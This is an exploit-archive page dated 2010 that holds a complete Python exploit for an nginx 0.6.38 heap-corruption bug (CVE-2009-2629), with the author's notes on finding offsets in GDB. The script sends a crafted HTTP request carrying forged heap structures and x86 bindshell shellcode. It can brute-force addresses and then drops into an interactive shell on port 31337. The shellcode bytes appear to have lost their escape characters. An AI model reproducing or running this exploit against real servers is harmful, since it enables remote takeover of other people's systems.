nginx v0.6.38 Heap Corruption Exploit
Posted on 29 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>nginx v0.6.38 Heap Corruption Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>===================================== nginx v0.6.38 Heap Corruption Exploit ===================================== #!/usr/bin/env python # # Exploit Title: nginx heap corruption # Date: 08/26/2010 # Author: aaron conole <apconole@yahoo.com> # Software Link: http://nginx.org/download/nginx-0.6.38.tar.gz # Version: <= 0.6.38, <= 0.7.61 # Tested on: BT4R1 running nginx 0.6.38 locally # CVE: 2009-2629 # # note: this was written and tested against BT4. This means it's an # intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV # also - only tested successfully against nginx 0.6.38 # you'll definitely need to modify against other versions # # you'll need to know where the offset is going to land, and what the pad is # from that point to when you've tained execution flow. # # A quick way to find out just for verification would be to launch nginx, # attach GDB to the worker and target it with the exploit, setting the offset # to 0, or some other arbitrary value. It should crash on a piece of code which # resembles: # if (ctx->offset) # # At that point, merely dump the *r; capture the value for the data pointer # (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the # hex pointer value). That should give you a good area to test with. You might # want to use the range at that point and set the last octet to 00. # # NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet # found a "magic" combination that would cause the state machine to do # what I want to make the bug trigger. Once I do, you can bet BUG will be # replaced. import os import sys import socket import select import struct import time import urllib REQUEST_METHOD='GET ' # NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures) NULLPTR='x00x00x00x00' # NOTE - this shellcode was shamelessly stolen from the www # port 31337 bindshell for /bin/sh SHELL='x31xdbxf7xe3xb0x66x53x43x53x43x53x89xe1x4bxcdx80x89xc7x52x66x68x7ax69x43x66x53x89xe1xb0x10x50x51x57x89xe1xb0x66xcdx80xb0x66xb3x04xcdx80x50x50x57x89xe1x43xb0x66xcdx80x89xd9x89xc3xb0x3fx49xcdx80x41xe2xf8x51x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x51x53x89xe1xb0x0bxcdx80' # Why did I write this up this way? Because given enough time, I think I can # find a proper set of state change which can give me the same effect (ie: ../ # appearing as the 3rd, 4th, and 5th characters) at a later date. # That's all controlled by the complex uri parsing bit, though. DOUBLE_SLASH='//../' BUG=DOUBLE_SLASH # taken from the metasploit pattern_create.rb PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4' def connect_socket(host,port): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect( (host, port) ) except: return 0 #sock.setblocking(0) return sock def handle_connection(sock): while(1): r, w, e = select.select( [sock, sys.stdin], [], [sock, sys.stdin] ) for s in r: if s == sys.stdin: buf = sys.stdin.readline() try: if buf != '': sock.send(buf) except: print "Xon close?" return 0 elif s == sock: try: buf = sock.recv(100) except: print "Xon close?" return 0 if buf != '': sys.stdout.write(buf) def main(argv): argc = len(argv) if argc < 4: print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0]) print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629" print "[*] host = the remote host name" print "[*] port = the remote port" print "[*] ctx_addr is where the context address should begin at" print "[*] -b specifies a brute-force (which will start at ctx_addr" sys.exit(0) host = argv[1] port = int(argv[2]) ctx_addr = int(argv[3],16) brute_flag = 0 if(argc == 5): brute_flag = 1 testing = 1 print "[*] target: %s:%d" % (host, port) try: sd = urllib.urlopen("http://%s:%d" % (host, port)) sd.close() except IOError, errmsg: print "[*] error: %s" % (errmsg) sys.exit(1) print "[*] sending exploit string to %s:%d" % (host, port) while(testing): CTX_ADDRESS = struct.pack('<L',ctx_addr) CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60) POOL_ADDRESS = struct.pack('<L',ctx_addr+56) DATA_ADDRESS = struct.pack('<L',ctx_addr+86) RANGE_ADDRESS = struct.pack('<L',ctx_addr+124) SHELL_ADDRESS = struct.pack('<L',ctx_addr+128) #PADDING SHELLCODE=PATTERN[:67] #the output context structure SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS #Magic SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR #this is the context object - some null ptrs, then we set range, then #pool address SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'x01x00x00x00' SHELLCODE+=NULLPTR*2+POOL_ADDRESS #this is the data buffer object SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR #this is the pool memory structure .. SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR # this is the range structure SHELLCODE+='xffxffxffxff'+NULLPTR*3 SHELLCODE+=SHELL payload = REQUEST_METHOD payload += BUG payload += SHELLCODE payload += ' HTTP/1.0 ' sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sd.connect((host, port)) sd.send(payload) sd.close() if (brute_flag): nsock = connect_socket(host,31337) if nsock != 0: print "[*] Successful Exploit via buffer: %x" % (ctx_addr) testing = 0 handle_connection(nsock) else: ctx_addr = ctx_addr + 1 else: testing = 0 print "[*] FIN." if __name__ == "__main__": main(sys.argv) sys.exit(0) # EOF # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-29]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>